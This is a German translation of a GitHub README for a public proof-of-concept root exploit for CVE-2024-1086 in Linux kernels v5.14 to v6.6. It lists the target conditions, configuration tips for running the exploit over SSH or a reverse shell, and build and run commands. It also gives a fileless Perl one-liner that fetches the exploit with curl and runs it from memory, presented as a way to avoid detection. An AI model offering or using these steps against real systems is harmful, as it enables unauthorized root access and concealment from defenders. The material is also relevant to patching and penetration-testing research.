
Universeller Exploit zur lokalen Rechteausweitung für CVE-2024-1086, der Linux-Kernel v5.14 bis v6.6 angreift, mit hoher Erfolgsrate und Unterstützung für dateilose Ausführung.
Universeller lokaler Privilegieneskalations-Proof-of-Concept-Exploit für CVE-2024-1086, der auf den meisten Linux-Kerneln zwischen v5.14 und v6.6 funktioniert, einschließlich Debian, Ubuntu und KernelCTF. Die Erfolgsrate beträgt 99,4 % in KernelCTF-Images.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
Eine vollständige Analyse des Exploits – einschließlich Hintergrundinformationen und zahlreicher nützlicher Diagramme – finden Sie im Flipping Pages Blogbeitrag.
Der Exploit betrifft Versionen von (einschließlich) v5.14 bis (einschließlich) v6.6, ausgenommen gepatchte Zweige v5.15.149>, v6.1.76>, v6.6.15>. Der Patch für diese Versionen wurde im Februar 2024 veröffentlicht. Die zugrunde liegende Schwachstelle betrifft alle Versionen (ausgenommen gepatchte stabile Zweige) von v3.15 bis v6.8-rc1.
Einschränkungen:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (einschließlich Ubuntu v6.5)CONFIG_USER_NS=y), dass diese Benutzer-Namespaces unprivilegiert sind (Shell-Befehl sysctl kernel.unprivileged_userns_clone = 1), und dass nf_tables aktiviert ist (kconfig CONFIG_NF_TABLES=y). Standardmäßig sind diese alle auf Debian, Ubuntu und KernelCTF aktiviert. Andere Distributionen wurden nicht getestet, könnten aber ebenfalls funktionieren. Zusätzlich wurde der Exploit nur auf x64/amd64 getestet.Die Standardwerte sollten auf Debian, Ubuntu und KernelCTF mit einer lokalen Shell sofort funktionieren. Bei nicht getesteten Konfigurationen/Distributionen stellen Sie bitte sicher, dass die kconfig-Werte mit dem Zielkernel übereinstimmen. Diese können in src/config.h festgelegt werden. Wenn Sie den Exploit auf einer Maschine mit mehr als 32 GiB physikalischem Speicher ausführen, erhöhen Sie unbedingt CONFIG_PHYS_MEM.
Wenn Sie den Exploit über SSH (in die Testmaschine) oder eine Reverse-Shell ausführen, möchten Sie möglicherweise CONFIG_REDIRECT_LOG auf 1 setzen, um unnötige Netzwerkaktivität zu vermeiden.
Falls dies für Sie unpraktisch ist, gibt es eine kompilierte x64-Binärdatei mit der Standardkonfiguration.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
Binärdatei: CVE-2024-1086/exploit
Das Ausführen des Exploits ist ebenso trivial:
./exploit
Die ausführungslose (fileless) Ausführung wird ebenfalls unterstützt, für den Fall von Pentest-Situationen, in denen Erkennung vermieden werden muss. Allerdings muss Perl auf dem Ziel installiert sein:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
Die Programme und Skripte („Programme“) in diesem Softwareverzeichnis/-ordner/-repository („Repository“) werden nur zu Bildungs-/Forschungszwecken veröffentlicht, entwickelt und verteilt. Ich („der Ersteller“) billige keine böswillige oder illegale Nutzung der Programme in diesem Repository, da die Absicht darin besteht, Forschungsergebnisse zu teilen und keine illegalen Aktivitäten damit durchzuführen. Ich bin nicht rechtlich verantwortlich für alles, was Sie mit den Programmen in diesem Repository tun.